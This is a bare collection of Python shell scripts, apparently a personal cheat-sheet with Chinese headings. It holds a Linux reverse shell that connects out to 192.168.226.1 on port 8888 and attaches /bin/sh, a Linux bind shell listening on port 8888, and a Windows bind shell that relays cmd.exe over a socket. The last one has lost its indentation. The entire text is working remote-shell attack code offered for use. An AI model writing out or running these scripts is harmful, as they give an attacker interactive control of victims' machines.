linux反向
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# @author Luffy
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.226.1",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
linux正向
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("0.0.0.0",8888))
s.listen(5)
args,addr = s.accept()
print("connect from",addr)
p = subprocess.Popen(["/bin/sh","-i"], stdin=args,
stdout=args, stderr=args, shell=True)
windows正向
from socket import *
import subprocess
import os, threading
def func(args, proc):
while True:
msg = proc.stdout.readline()
args.send(msg)
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',8888))
server.listen(5)
print 'waiting for connect'
args, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
t = threading.Thread(target=func,args=(args,proc))
t.setDaemon(True)
t.start()
while True:
cmd = args.recv(1024)
proc.stdin.write(cmd)
proc.stdin.flush()